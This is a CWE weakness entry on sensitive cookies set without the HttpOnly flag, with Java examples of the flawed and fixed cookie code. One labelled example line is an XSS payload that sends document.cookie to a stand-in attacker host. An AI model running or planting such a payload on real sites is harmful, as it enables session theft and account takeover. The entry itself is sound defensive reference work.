Sensitive Cookie Without 'HttpOnly' Flag (4.19.1)

Weakness ID: 1004

Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.

Description

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Common Consequences

Section Help This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Impact	Details
Read Application Data	Scope: Confidentiality If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.
Gain Privileges or Assume Identity	Scope: Integrity If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.

Potential Mitigations

Phase(s)	Mitigation
Implementation	Leverage the HttpOnly flag when setting a sensitive cookie in a response. Effectiveness: High Note: While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Phase(s)

Mitigation

Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness: High

Note: While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Relationships

Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (View-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	732	Incorrect Permission Assignment for Critical Resource

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Modes Of Introduction

Section Help The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase	Note
Implementation

Applicable Platforms

Section Help This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

Web Server (Undetermined Prevalence)

Likelihood Of Exploit

Demonstrative Examples

Example 1

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

(bad code)

Example Language: Java

String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

(attack code)

Example Language: JavaScript

document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

(good code)

Example Language: Java

String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);

Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference	Description
CVE-2024-47833	python library for ML and data science does not use the HTTPOnly security attribute for session cookies
CVE-2022-24045	Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.
CVE-2014-3852	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.
CVE-2015-4138	Appliance for managing encrypted communications does not use HttpOnly flag.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Method	Details
Automated Static Analysis	Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.) Effectiveness: High

Method

Details

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Memberships

Section Help This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Vulnerability Mapping Notes

Usage	ALLOWED (this CWE ID may be used to map to real-world vulnerabilities)
Reason	Acceptable-Use
Rationale	This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Comments	Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

References

Content History

Submissions
Submission Date	Submitter	Organization
2017-01-02 (CWE 2.10, 2017-01-19)	CWE Content Team	MITRE
2017-01-02 (CWE 2.10, 2017-01-19)
Modifications
Modification Date	Modifier	Organization
2025-12-11 (CWE 4.19, 2025-12-11)	CWE Content Team	MITRE
2025-12-11 (CWE 4.19, 2025-12-11)	updated Applicable_Platforms, Observed_Examples, References, Relationships, Weakness_Ordinalities
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, References, Relationships